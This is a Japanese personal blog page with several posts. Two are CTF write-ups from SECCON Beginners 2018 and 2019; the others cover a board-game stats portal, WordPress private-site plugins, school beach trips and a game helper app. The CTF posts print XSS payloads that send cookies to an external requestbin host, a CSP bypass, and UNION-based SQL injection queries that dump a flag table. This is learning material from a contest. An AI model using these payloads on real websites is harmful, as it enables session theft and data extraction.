あーさーの備忘録

ゆっくり自由に生きてます

SECCON Beginners 2019 東京 Write-Up

熱が冷める前に書いたので文章が煩雑かもしれません。ご容赦ください。

2019/10/5(土)に行われたSECCON Beginners 2019 東京に参加してきました。

内容としてはWebとリバースエンジニアリングに関する講義を受けて、その後演習としてミニCTF大会が行われるというものでした。この記事はこのイベントの体験記になります。

先に結論を話すと、参加者のレベル幅が広いな、という感想です。1位の人とか絶対ビギナーじゃないでしょ。参加者の現状のスキルによって、本イベントに対する目線がかなり変わってくると思うので、先に私の個人情報について書いておきます。

私のスペック

前準備

Kali Linuxvmを導入するよう案内があったので、virtualboxを利用して入れました。ところが、僕のMacBook Air 2018にはスペック的に若干厳しかったみたいです。アプリケーション一覧のアニメーションが上手く動作せず、描画が重なってしまいます。軽量化のためにいろいろ試したんですが、当日寝坊しては本末転倒なので断念。

f:id:arthur_teleneco:20191005232954p:plain

f:id:arthur_teleneco:20191005233002p:plain

講義

Web

XSSに焦点を絞っていたのは良かったと感じました。Webがどのような仕組みと決まりによって閲覧できるのか、という基本知識があれば十分理解できる分量だったと思います。最近はCSP(Content-Security-Policy)関連の問題がよく出ているというお話も聞けました。Web系の常設CTFは古いものも一定数あり、比較的新しい仕様が登場しないこともあるので、勉強は怠れませんね。

個人的に一番「なるほど」と感じたのは、「攻撃対象となるユーザをいかに誘導するか」が重要、という話です。XSSできるから危ない!脆弱性がある!という短絡的な思考ではダメだな、と反省しました。ここが崩れると何のためにCTFしているかわからなくなります。

この部分に非常に感銘を受けただけに、気になったことが1つだけあります。XSS悪用の流れの図が分かりにくかったです。XSSを起こす部分と、XSSによって作った落とし穴にどう誘導するかの部分で分ける、とか、なんか上手い方法があるのでは、と素人ながら思っています。

リバースエンジニアリング

講義資料は圧巻の181ページ。ページ数が多いため、超特急で進むのでは、と不安でしたが、講義資料をゆっくり見ながらであれば、講義の内容に追いつけるスピードでした。アセンブリの命令の説明など、リファレンスのような形で使える部分が多かったのでページが多かったんですね。個人的には嬉しいです。大事にします。

大事だな、と思った内容は、リバースエンジニアリングに3つのレイヤーがあるということです。stringsコマンドなどで手軽に行う表層解析、逆アセンブラしたコードを読み解く静的解析、実際に動かしながらレジスタの値などの挙動を見る動的解析の3つです。今までなんとなく手探りでやっていたのですが、作業の見通しがはっきりしました。

少し話が飛びますが、アセンブリ言語はやっぱり人間には読みづらいと思います。大学の某講義のTAが「アセンブリは単純!十分読める!」と言っていましたがそんなことないと思います。各命令が省略されているだけで結構ダメです。lea ならload effective addressとか、覚えるのにはまだまだ時間がかかりそう。レジスタ名も普通に分かりにくい。

そこを少しでも解消するために、今回の講義ではIDAというツールを使用しました。分岐がGUIで見えるようになっているのは良いですね。デフォルトでつけられた変数名も自由に変えられるのには感動しました。

演習

ここからが本当の意味でのWrite-upですね。演習の結果は1400ptで8位でした。3位までに入ると賞品がもらえるとのことで、張り切っていましたが入賞ならず。残念です。

f:id:arthur_teleneco:20191005233235p:plain

(上の写真は最終段階ではありません。この後rev2aも解けました。)

解放メモを、だいたい解いた順に載せていきます。が、問題にもうアクセスできない状態で書いているので結構うろ覚えです。ごめんなさい。

welcome [Misc, 100pt]

実は「てけいさんビギナーズ」から解こうと思ったのですが、問題へのリンクが見つからず、スコアサーバーのHTMLを眺めていました。そのときにたまたま見つけたのがチュートリアル問題のflagです。

ビギナーズカンパニー [Web, 200pt]

XSS脆弱性があったので、scriptを埋め込みrequestbinに誘導。リクエストのcookieにflagがある、という講義通りのシンプルな問題でした。

alertme [Web, 100pt]

タイトル通りですね。適当にalert文書いて埋め込んだらflagのalertに置き換わっていました。これどういう仕組みだったのか見ておけばよかった。

この問題を解いたタイミングでは2位だったみたいです。

Can you still do XSS? [Web, 300pt]

Webの講義では時間が足りずCSP関連の演習ができませんでした。この問題はその演習問題ほぼそのまま、という感じでした。Content-Security-Policyselfが設定されており、単純にscriptタグを埋め込んでも動作しません。以下の流れで解きました。

  1. requestbinにリクエストを投げるJavaScriptのコードで記事を作成
  2. 1.の記事のraw textをscriptタグで読み込むような記事を作成
  3. 2.の記事に巡回者がアクセスするとrequestbinにflagが届く(cookie)

実際のサービスでわざわざraw textとして表示する機能はなさそうですが、テキストファイルとしてpublicな場所に保存してしまっていた、などの事例はあるかもしれません。

てけいさんビギナーズ [Misc, 100pt]

見覚えがあるタイトルなのはさておき。ページを開くと、足し算の式と、答えを入れるフォームが。正しい答えを150回入れるとflagが手に入るようです。数弱の私は当然自動化します。

私のChromeにはTampermonkeyを導入しているので、好きなページで自分が書いたJavaScriptを実行することができます。以下のスクリプトを実行するようにしました。

(function() {
    function safeEval(val) {
        return Function('"use strict";return ('+val+')')();
    }
    if (document.getElementsByTagName('h3')[0].textContent == '現在の正解回数 : 150') return false;
    var siki = document.getElementsByClassName('a')[0].parentElement.textContent;
    document.forms[0].answer.value = safeEval(siki);
    document.forms[0].submit();
})();

演算対象の2つの整数の要素には.a .bとclassで名前がついていました。最初は足し算しか出てこないと思っていたので、この2つの要素のinnerTextを取得し足し合わせていたのですが、途中から引き算に……。しかも演算子の部分は独立した要素ではなかったので、取り出すのが結構面倒。そこでこのような形に落ち着きました。作問者結構いじわるですね。

この問題は「てけいさん」で解くことも可能です。もしそれを防ぐなら、一定時間内に送信しないとアウト、という実装を作問者がすればよいのです。でも、そうしないということは、「てけいさん」も意味のない行為ではない、ということだと思います。1位の人も手計算で頑張っていたようですからね。

restricted ビギナーズカンパニー [Web, 200pt]

考えすぎて全然解けなかった問題。「ビギナーズカンパニー」と見た目は同じですが、scriptという文字が入っていると弾かれてしまいます。

解法としては、imgタグのonerror属性を利用することで突破可能です。

最初は昔みつけた( https://arthur.hateblo.jp/entry/2018/05/27/185550 ) meta refreshを使ってやろうとしましたが、cookieにあるflagが見れませんでした。他にも、同じ内容で違うactionのフォーム要素を埋め込んだりなど、色々模索して失敗していた気がします。

rev1a [Reversing, 100pt]

バイナリファイルが渡されたので、とりあえずfileコマンドとstringsコマンドを使います。今回の趣旨的にはfileコマンドはいらなかったかもしれませんが。stringsからflagの断片を得たので連結しましたが上手く行かず。IDAも使って眺めていたら、delimを挟んで連結していることが分かりました。中身は_だったので、これでつないでflagを得ました。

rev1b [Reversing, 150pt]

こちらもstringsでflagの断片が出てきました。意味が通るように断片を並び替えたら通っちゃいました。

rev2a [Reversing, 150pt]

2とあってさすがにstringsで分かるような問題ではありません。IDAで静的解析。

input_codecheck_codeという、イカニモな関数を発見。check_codeの中身を見ると、入力した数字と、16進数の6AAC52E...を比較して、等しかったらCorrect!と出るようです。そこでこの16進数を10進数に変換するのですが、ここで悲劇が。この変換がうまくいきません。ネットで適当に調べて出てきたツールを使って答えを出しましたが、得られた数字では通りません。仕方なく手計算しましたが普通に間違えました。原因はコピペミスです。つらいです。しかも、IDA上で右クリックしたら変換できました。

f:id:arthur_teleneco:20191006002719p:plain

初めてReversing問題自力でまともに解けた気がします。これだけで来た価値がありました。それに、終了2分前に通した問題。諦めないの大事ですね。

ちなみに、この問題は演習解説会のときに解説しました。「解けた人手を挙げて」と言われたので手を挙げたら、話すことになってしまいました。Webならもう少し流暢に解説できた気もします。心残りですね。

まとめ

個人的にはReversing解けたので来て良かったです。万人にウケるイベントは無理ですが、もう少しターゲットが明確に絞れるともっと良いなぁと感じました。Beginnerが広すぎるんですよね。本当の初心者はそもそも未経験なので、過去の大会成績などの数値指標を持っていないところも厳しい。

あと私はコミュ障なので交流会が少し辛かったです。劣等感で押しつぶされそうでした。みなさんどうしてそんなに話せるのでしょうか。もちろん交流会は参加必須ではないですが、特に用事がないのに早く帰るのもアレですよね。帰り道に花火大会帰りのカップルと遭遇したのもあってダブルパンチで傷心中です。悲しすぎてセッターカートンやけ買いです。

ぶらつき学生ポータルをリニューアルしました

本記事はぶらつき学生連盟Blogの2019/05/03の記事「ぶらつき学生ポータルをリニューアルしました」 (https://blog.buratsuki.work/?p=68)の転載です。

お久しぶりです。3人目愛人からの君主が上手く決まって気分がいいArthurです。3月4月と体調が悪くなかなか外に出られなかったため、あまりアグリコラができておりません。が、その代わりにアグリコラ関連のツール開発に時間を割くことができました。

今回は、新しく生まれ変わった「ぶらつき学生ポータル」について書き記しておきます。

開発概要

開発のきっかけ

前バージョンのぶらつき学生ポータルは、2017年〜2018年の年末年始に、テレビ特番を見ながら1ヶ月弱で作ったものです。そのため設計が甘く、その後の機能拡張時にかなり苦しい思いをしました。

ぶらつき学生連盟でリバイズドエディションも遊ばれるようになったため、この機会に、と思い1から作り直すことにしました。

前バージョンからの改善点

パフォーマンスの向上

バックエンド・フロントエンドともに高速化させました。その結果、AuditのPerformanceカテゴリで満点の100点をいただきました。その他の項目でも基本的に満点を目指しました。(Accessibilityは使用しているCSSフレームワークの関係でこれが限界)

f:id:arthur_teleneco:20190929104222p:plain

デザインの一部変更

パンくずリンクを用いたり、フラッシュメッセージをトーストにしたりと、細かいところがスタイリッシュになっています。

f:id:arthur_teleneco:20190929104240p:plain

リバイズドエディション

リバイズドエディションのカードにも対応しました。相変わらずカード効果はすべてデータベースに手打ちですので、間違っている箇所があるかもしれません。私までご指摘いただけますと幸いです。

一度入力した戦績の更新が可能に

これはユーザーでないとわからない改良点ですが、一度送信した戦績をあとから編集できるようになりました。逆に言うとこれまではそれができなかったということです。間違えた入力があったら、私がいちいちデータベースにアクセスして直接変更していました。

感想

これだけの規模のWebアプリケーションを一人で作るのはやっぱりしんどいです。コーディングはさておき、合計1700枚以上のカードマスタデータの手打ち作業とか、誰でもできそうな作業に時間を費やすのは精神的に参りました。こういう単純作業は誰かに任せたいところですが、サーバー維持費などは全部自分で持っていて、かつ広告なども置いていません。つまり、このサービスを運営しても赤字でしかなく、人を雇う資金はありません。投げ銭待ってます。

最後のPR

これだけ苦しい思いをして作った「ぶらつき学生ポータルRevised」ですが、実は残念ながらあまり使われておりません。アグリコラが立たないのです。1週間に1回立つか立たないかのゲームにここまで時間と金を投資するのは勿体ないのです。

このツールを作った最大の目的は、拡張アグリコラを攻略するためのデータを集めることです。人狼アグリコラ部さんが出版した「アグリコラ理論」の最後の方に、確かアグリコラ1000戦の統計データが載っていたと思います。どのように集計したのかは分かりませんが、手書きにしろExcelにしろ、入力も集計もしんどいのではないでしょうか。そういった問題を解決するために作ったのがぶらつき学生ポータルです。それなのに、アグリコラが立たないせいでデータが全く集まらない。本末転倒じゃねえか。

そこで、私からこの記事を読んでいるみなさまにご提案です。本ツールをみなさんのコミュニティで運用してみませんか?特に拡張アグリコラをやっている大学のボドゲサークルさんとか!!データを私の個人的研究に使わせていただけるのであればこちらが費用を持ってサーバー建ててもかまいません。拡張デッキに対応しているだけで、旧版EIKしかやらないという方たちにも機能的には申し分ないと思います。ご相談は私のTwitter(@arthur3864)*1のDMにでもどうぞ。

ちなみに、本ツールのソースコードGitHubに上げてあるので、知識とサーバーさえあれば勝手に運用できると思います。サポートはできませんが、そういうのにお強い方はぜひチャレンジしてみてください。あ、マスタデータはないけど。

*1:本アカウントは削除しました。新アカウント@Arthur1__

WordPressでクローズドなWebサイトを作ろう

かれこれ丸一年以上ブログでのアウトプットを怠っていました、Arthurです。心身共に不調を極めています、とても苦しい毎日です。生き地獄という感じです。

一応Webアプリ開発などは続けていて、GitHubに上げているので、気になる人は見てください。こちらでも、近い将来紹介します。

github.com

WPでクローズドなWebサイトを作ろう!

さて、本題です。WordPressは今まであまり使ってこなかったのですが、CMS希望の案件がいくつかあったので遊んでいました。

そこで、私が所属している団体向けにクローズドなWebサイトを作ることにしたのです。メンバー各人にアカウントを発行して、そのメンバーだけがログインして参照できるサイトです。イメージとしては、どのページでもログインしてなかったらWordPress標準のログインページに飛び、ログイン後見たかったページが参照できるという感じです。未ログインユーザに見せるパブリックなページはログインページのみという想定です。ユーザごと別々の会員ホームページみたいなものはありません。

ところが、やり方がよくわかりません。少なくともバニラの状態ではできないようです。Google先生に聞いていろんな方法が見つかったので説明していきます。

Basic認証(WP BASIC Auth)

ja.wordpress.org

BASIC認証を導入するプラグインがいくつか見つかりました。たとえば、WP BASIC Authは、WordPressのユーザ情報と同じものでBASIC認証ができるらしいです。そもそもプラグイン入れなくても.htaccessなりserver.confなりに書けばなんとかなりますが、WordPressのユーザ情報をそのまま使えるのは嬉しいですよね。

ただ、今どきBASIC認証のポップアップが出てくるのは正直ダサいです。また、このプラグインに限った話ですが、最終更新が2015年あたりで止まっているようですWordPressは定期的にアップデートしているので、ちゃんと動くのでしょうか。セキュリティ面も心配ということで今回は採用しないことに。

BASIC認証ってデフォルトのパスワード最大長が8文字ですが、このプラグインではそれ以上も対応しているのでしょうか。気になりますが、ブロガーでもYouTuberでもないので検証はしません。ごめんなさい。

User Access Manager

ja.wordpress.org

次に紹介するのは、WordPressに本格的なアクセス権限管理機能を持たせるプラグインです。機能一覧から抜粋すると以下の通り。

  • ユーザーグループ
  • 閲覧者と、編集者の区別
  • ユーザーグループに基づいたアクセス権
  • アクセス権がない場合に、特定のページにリダイレクトさせる

読んだ感じ、私の掲げる要件を満たしているような感じがします。しかし、使ってみた感想としては、設定が煩雑すぎてWordPress初心者の私には厳しかったです。各ページごとのアクセス制限ができて細かいところに手が届くのですが、トップページのアクセス制限の方法が分かりませんでした。トップから他のコンテンツに遷移するときにはじめてログインページに飛ばされます。これでは今回の要件を満たせません。このサイトやコンテンツの存在自体を隠したいので、トップページ丸ごとアクセス制限を掛けたいです。

きっと私の要件を満たす使い方はできるのでしょうが、設定の方法がわからない以上どうしようもなく、不採用。テーマ書き換えたりすればいけそうだけど、そこまでする気力はありませんでした。

Password Protected

ja.wordpress.org

設定するのはパスワード1つとお手軽な感じなのが魅力です。今回はユーザを識別したいので採用しませんが、これくらい手軽で良いサイトなら十分使えそうだと感じました。ちなみに、画像やアップロードしたファイルは保護の対象外とのこと。

他にも、ページ内の一部の内容だけ隠すプラグインなどが見つかりましたが、Google検索による日本語の記事では、それらしい情報を得ることはできませんでした。

My Private Site

ja.wordpress.org

半ば諦めつつ、WordPressプラグイン検索ツールで、英語でそれっぽい単語を入れていたら、My Private Siteというプラグインに出会いました。

Allows the Administrator to restrict a WordPress-based web site to viewing only by registered users who are logged on. Any attempt, by anyone not logged, to view any Page, Post or other part of the site will display a WordPress login screen.

それっぽいことが書いてあるので導入して設定を弄ります。これが今回の要件にピッタリなプラグインだったのです!

My Private Siteの紹介

インストール

ダッシュボードから、「プラグイン」→「新規追加」→検索窓に"My Private Site"で一番上に出てくるものを「今すぐインストール」→「有効化」で終わりです。どのプラグインも流れは同じなので、画像つけて事細かに説明はしません。

有効化すると、ダッシュボードの「設定」に「Private Site」が追加されます。

設定

設定を開くとわかりますが、このプラグインは日本語対応していません。英語ですが平易なので問題ないと思います。

有効化しただけでは実は本機能は有効になっていません。下のチェックボックスにチェックを入れて「Save Changes」を押すと、一瞬でクローズドサイトの出来上がりです。細かい仕様も弄れますが、今回の要件的にはこのままで問題なし。

f:id:arthur_teleneco:20190922210840p:plain

運用

見るだけのユーザには権限を「閲覧者」としてアカウントを発行します。閲覧者はダッシュボードを見る必要がないと思うので、無効化しておくと良いですね。管理者や編集者も、いちいちログインリンクを踏まなくても強制的にログインに飛ばされるので、クリック数が減っていい感じです。

まとめ

クローズドなサイトを作るには「My Private Site」というプラグインが良いよ、というお話でした。実はこのプラグインに関する日本語のブログ記事が全く見つからなかったんですよね。ブログネタにするのにちょうど良いと思って書いてみました。

ラスト海浜教室

海浜教室

僕の出身高校の1年生がこの時期に行う海浜教室に助手として参加し続けて今年で4回目になりました。現役の頃自分で行ったのを含めて全部で5回も行ったんだなぁと一人で感動しています。せっかくなので振り返ってみます。

第56回(現役)

僕は死ぬほど運動神経が悪いので現役時はE班だった。あの頃は学校の50mプールの半分も泳げなかったし、行きたくないなぁと思っていた。

実際行ってみたけど、現役時嫌いだった行事ランキングダントツの1位だった。2日目3日目雨だったし死ぬほど寒かった。このときはスマホゲームetc一切持ち込み禁止だったので、個人的な思い出の写真も撮れないししんどかった。E班には当時助手はいなかったので他の班が楽しそうにやってるのを羨ましそうに見てた。他にE班誰がいたか全く覚えてないぐらいに影が薄かった。スローガンが「恋海」なのに個人的には恋の要素の一欠片もなかった。

強いて言うなら記念歌づくりが楽しかった。記念歌係メンバーで集まる場所がなくて駅近くの公園でキーボード持って作曲してたら宗教勧誘にあったのを覚えてる。あと、食事のときに水こぼして担任にありえん怒られたのが面白かった。

第59回(助手1年目)

それから3年後、無事大学生になれたので助手として参加した。あれほど海浜教室が嫌いだったのになぜ来ようと思ったかはもう覚えてない。一応現役時の海浜のおかげでそれなりには泳げるようになっていたけれども。

担当だった女子D3は同期の妹etc知り合いが多くて接しやすかったのがよかった。この年は台風が接近していて泳げなかったので、やることはそんなになかった。適当に演劇同好会のときにやってたゲームをやったらそこそこ盛り上がった。泳がずに体力が有り余ったせいでいろいろ問題もあったけれど、それはそれで楽しかった。

第60回(助手2年目)

スマホを家に忘れる大失態をしたので写真がない。ほんの少し金髪残ってた時期だった。女子E班担当。海にすら入れない子もいたけれど、最終日に足のつかないところまで行けたので、みんなの成長にただただ感動した。この年はFDに混ざれたので楽しかった。FDは現役のときから大好き。部活の後輩の妹にその場のノリで「似てる~」とか言ったけど全然似てなくて3秒後に謝った。

海浜前も少し体の調子がよくなかったが、海浜から帰ってきてから体調が急変してしばらく寝たきり生活になってしまった。喉が腫れて呼吸困難になって入院した。

第61回(助手3年目)

4月まで入院していて体も動かず寝たきりの状態が長く続いたので、海浜来れるか心配だったけれど、なんとか通院時を除いて通常の生活に戻ることができた。

だいぶジェネレーションギャップを感じた。この時の1年生はみんな21世紀生まれということに気づいた。今回も女子E班だった。3年目だし大分慣れたと思っていたけれど、訓練の時間管理がうまくいかなくて大変だった。端的に言って時間が足りない。でも、助手として同じ部活の後輩とか知ってる子たちが入ってきたので大分やりやすかった。

第62回(助手4年目)

一番びっくりしたのが、助手1年目で一緒にいた1年生の子がもう卒業して助手として来てること。時間の流れってすごい早い。女子E班3年目。さすがに6歳も離れてると知ってる1年生はいない。いつも途中からE班に来てくれる体育の先生が退職してしまったので、何をやろうか考えるのが大変だったけど、優秀な後輩に投げたらいい感じにやってくれてすごいと思った。はじめて班として写真を撮れた。集いでクラス対抗のレクやってるのはじめて見た。楽しそうだったし来年以降もやるんじゃないかな。

まとめ

なぜこのタイミングで5回分振り返ったかというと、来年からは僕はもう行かないからです。助手同士も含めて、たくさんの人と出会えた海浜教室という行事に感謝しています。本当に楽しかったです。助手としてもいい経験ができるはずなので、ぜひ来てください。

というか普通に高校生に戻りたい人生つらい~~~~。しばらく落ち込んでるので誰か飲みにでもいきましょう。

ぶらつき学生ポータルの今後

ぶらつき学生ポータルのアップデート

arthur.hateblo.jp

agricola.jizinet.work

今年初めに「ぶらつき学生ポータル」を運用し始めてから早半年が経ちました。公開した後もマイナーアップデートを経て少しずつ機能を増強しています。その内容を以下にまとめました。

  • カード検索・表示機能
  • カードの評価機能
  • Web通知
  • 統計・ランキング表示機能
  • Twitterカード表示
  • 初手ピックシミュレータ

アップデートするうちに、当初のDB設計では不都合な点があったり、既存のコードと衝突することがあったりという事態に直面してしまいました。ver.2として新しくリファクタしたものをリリースしてもいいのですが、その際に実現したいことがあります。

サークルのサイトから全アグリコラerのサイトへ

それは、このぶらつき学生ポータルを身内の記録サイトではなく、全てのアグリコラプレイヤーに使っていただくものに仕上げることです。幸い、セキュリティ的にヤバいところはないはずなので、このままでも安心して公開できるといえばできます。ですが、よりわかりやすいUIにするなどの改良をすることが必要だと考えています。具体的には以下の通り。

  • UIを改良し、誰にでも使いやすく
  • ユーザー同士のコミュニケーション機能を増強
    • レーティングを導入
    • カードの裁定について話し合うスレッド
  • カードの表記などを標準に統一

とはいえ、この規模のサイトを1人で作るのもそこそこしんどくて、この計画を実行できるのもいつになるか分かりません。現在実費で負担しているサーバー代も、よりたくさんの人が見てくれるようになれば広告で一部賄えるかなと思ったり。他にも、こんな機能があったらいいな、などの意見も欲しいです。何らかの形でお手伝いいただける方を募集しています。よろしくお願いします。

Shiren Identifier ~風来のシレン識別アプリ~

近況報告

こんにちは。サーバーサイドからフロントにどんどん傾倒しているArthurです。最近はVue.jsを利用したSPAに興味があって、PHPフレームワークのLaravelを利用したり、静的APIで良い場合にはvue.js+webpackでいろいろなWebアプリを開発しています。Vue.jsは部品をコンポーネントで管理していくJavaScriptフレームワークです。Web ComponentsはCSS設計の本で仕様だけ理解していたのですが、実際使ってみると「これすごい!Component最強!」という気持ちでいっぱいになりました。Laravelはvueとscssをwebpackでコンパイルできる環境がお手軽に構築できるので本当に便利です。サーバーサイドのコーディングが必要なくても使いたくなってしまうレベルです。

そんなVue.jsとLaraveを使って作った初めてのSPAが「Twicla」というサービスです。これは、自分の大学の講義カレンダー(iCal形式)をparseして、出席状況管理をするものです。初めての割にはJWTAuthを使用したり、Vuexで状態管理をしたりとなかなか大規模なものになってしまいました。それ故に若干リリースするには怪しい(未完成な)部分も多々あるのですが、一応普段使いできるレベルに仕上がりました。

Shiren Identifier

そして、Laravelに頼らずに作ってみたのが「Shiren Identifier」です。これは「風来のシレン」というスーパーファミコンのソフトの最終ダンジョンでアイテム識別の支援をするアプリです(不思議のダンジョンシリーズなのですが、ポケダンなどと違って(?)アイテムは使用するまでどんなアイテムか分かりません)。

f:id:arthur_teleneco:20180613125330j:plain
キャプチャ

条件を入力しアイテムを絞り込み、識別済みならアイテム欄にチェックを付けていきます。識別済みチェックのデータはローカルストレージに保存することができるようになっています。

https://shiren.jizinet.work/

今後の課題

これからできるようになりたいのは、Componentsの細分化です。現状はvue-routerを利用しているのもあって、1ページ1コンポーネント+テンプレート部分(ヘッダー・フッターetx)という構成になっているのですが、各ページの要素も細かいComponentsに分割できるはずです。状態管理が大変になるのでVuex使わないと厳しい感じもしますが、いずれはきちんと分割できるようになりたいです。

webpackも自分で環境構築するのは慣れていなくて、結局staticな別ファイルをたくさん作ってしまっています。HTTP2で配信しているためファイルをまとめる意義は薄いような気もしますが、Laravelに頼らずともwebpackを使いこなしたいです。

また、せっかくSPAにしているのだから、Service Workerのキャッシュを利用しオフラインでも利用できるようにしたかったです。これはwebpackにプラグインを導入する形で解決するのが丸そうですが、他にもやることが山積みなので後回しにします。

あと全く別件ですが、ここ数ヶ月コーディング量がすごいので、ブログに書きたい内容がかなり溜まっています(CTFとかぶらつき学生ポータルのアップデートとかWebデザインについてとかボードゲームとか)。一気に放出しても仕方ないので1週間ずつぐらいに小出しにしていければなぁと。それでは。

SECCON BeginnersCTF 2018 Write-Up

ctf4b

常設CTFでもサークルの勉強会でもない一般のCTFコンテストに挑戦するのは初めてなので、かなり身構えていました。先に自分の結果を言ってしまうと、791ptで100位/844人でした。初めてにしてはそこそこ頑張れたんじゃないかなぁと自己評価しています。以下のリストは、解けた問題と開始からの時間および点数です。試験勉強や課題も山積みなので、12時間限りにしようと決めていました。

  • [Warmup] Greeting (0:05) 51pt
  • [Warmup] Welcome (1:09) 51pt
  • [Warmup] plain mail (1:13) 51pt
  • [Warmup] Veni, vidi, vici (2:10) 51pt
  • Gimme your comment (2:19) 78pt
  • RSA is Power (3:42) 103pt
  • SECCON Goods (5:32) 121pt
  • [Warmup] Simple Auth (8:36) 51pt
  • てけいさんえくすとりーむず (9:51) 55pt
  • Gimme your comment REVENGE (10:52) 179pt

Web

一応Web開発に携わっている人間ということで、Web問全部解けたのは良かったです。

[Warmup] Greeting <51pt>

EditThisCookieでCookieの値を書き換えました。

Gimme your comment <78pt>

フォームの本文欄でXSSできたので以下のようにscriptを埋め込んでrequestbinを踏んでもらいflagを得た。

<script>location.href="http://requestbin.fullcontact.com/hogehoge"</script>

SECCON Goods <121pt>

axiosで拾ってるjsonのurlにパラメータが渡されている(/items.php?minstock=0)。この0を例えば3にすると、stockが3以上のitemが表示される。そこでSQLインジェクションを疑い、以下のクエリが実行されていると仮定した。

SELECT id, name, description, price, stock 
FROM items
WHERE stock >= [minstock];

この[minstock]の部分はURLのminstockパラメータの値である。ここにいろいろブチ込めばいいと判断し、まずはどんなtableがあるか調べるために[minstock]に0 AND 1 = 0 UNION ALL (SELECT TABLE_SCHEMA, TABLE_NAME, TABLE_COMMENT, TABLE_TYPE, NULL FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE')を入れた。すなわち、以下のクエリを実行した。

SELECT id, name, description, price, stock 
FROM items
WHERE stock >= 0 AND 1 = 0
UNION ALL
(SELECT TABLE_SCHEMA, TABLE_NAME, TABLE_COMMENT, TABLE_TYPE, NULL
FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_TYPE = 'BASE TABLE');

もはやもともとのデータに興味はないのでAND 1 = 0で消えていただき(今から考えれば適当にでかい値入れればよかった)、UNION ALLでmysqlの情報が入っているテーブルからSELECTしたもの追加した。カラムの数が合わないとエラーになるので、余ったカラムにはNULLなり1なり突っ込んでおく。すると、flagという名前のテーブルがあることがわかる。このテーブルの構造が知りたいので、同様に[minstock]に0 AND 1 = 0 UNION ALL (SELECT TABLE_NAME, COLUMN_NAME, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'flag')を入れた。つまり、

SELECT id, name, description, price, stock
FROM items
WHERE stock >= 0 AND 1 = 0
UNION ALL
(SELECT TABLE_NAME, COLUMN_NAME, NULL, NULL, NULL
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME = 'flag');

が実行された。この結果、flagテーブルにはflagというカラム1つがあることがわかる。以上より、[minstock]に0 AND 1 = 0 UNION ALL (SELECT flag, NULL, NULL, NULL, NULL FROM flag)を入れるとflagが出てきます。

SELECT id, name, description, price, stock
FROM items
WHERE stock >= 0 AND 1 = 0
UNION ALL
(SELECT flag, NULL, NULL, NULL, NULL
FROM flag);

Gimme your comment REVENGE <179pt>

CSP(Content Security Policy)が設定されているためscriptを埋め込むことができない。HTMLだけならOKなので、requestbinにリダイレクトするようにmetaタグを埋め込むことでflagを得た。レガシーなmetaタグはheadの外でも動くんですね~~

<meta http-equiv="refresh" content="0; URL=http://requestbin.fullcontact.com/hogehoge">

ちなみに、この方法ならREVENGEじゃない方も同じ方法で出来てしまうので、想定解ではないのだろうと思っていた。実際に同大学の参加者に聞くと、actionを別の場所にしたform要素を偽装するのが想定解らしい。

Misc

[Warmup] plain mail <51pt>

strings packet.pcapしたらそれっぽい添付ファイルのBASE64コードとパスワードのような文字列が出てきたので、添付ファイルをdecodeし、出てきたzipファイルにパスワードを入力して解凍した。

[Warmup] Welcome <51pt>

解説不要

てけいさんえくすとりーむず <55pt>

python2で書いた。switch文ほしい。

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('tekeisan-ekusutoriim.chall.beginners.seccon.jp', 8690))

s.recv(261)

for i in range(100):
    data = s.recv(100)
    formula = data.split(")\n")
    print formula[1]
    elem = formula[1].split(' ')
    if elem[1] == '+':
        ans = str(int(elem[0]) + int(elem[2]))
    elif elem[1] == '-':
        ans = str(int(elem[0]) - int(elem[2]))
    elif elem[1] == '*':
        ans = str(int(elem[0]) * int(elem[2]))
    elif elem[1] == '/':
        ans = str(int(elem[0]) / int(elem[2]))
    print ans
    s.send(ans + "\n")
print s.recv(100)

Crypt

[Warmup] Veni, vidi, vici <51pt>

驚異的なエスパー能力によりROT13, ROT8であると分かったのでdecodeした。最後のはCtrl + Alt + ↓で画面をひっくり返して読んだ。

RSA is Power <103pt>

これもエスパーで97139961312384239075080721131188244842051515305572003521287545456189235939577を素因数分解した……わけではなく、factordb.comに突っ込んで調べた。最初はプログラムを書いてやってみたが死ぬほど時間がかかるので諦めた。あとはRSAの式に従ってdecode

Reversing

[Warmup] Simple Auth <51pt>

ltrace ./simple_authしたら見えた

まとめ

相変わらずアセンブリ読んでいく問題が苦手だなぁと痛感しました。CryptoのStreamingは寝坊さえしなければ解けたかもしれないです。ところでSQLi問題はその脆弱性を利用してflag自体を書き換えることすらできてしまうのは問題としてどうなんでしょうね。競技中に特に問題が起こらなかったようでよかったです。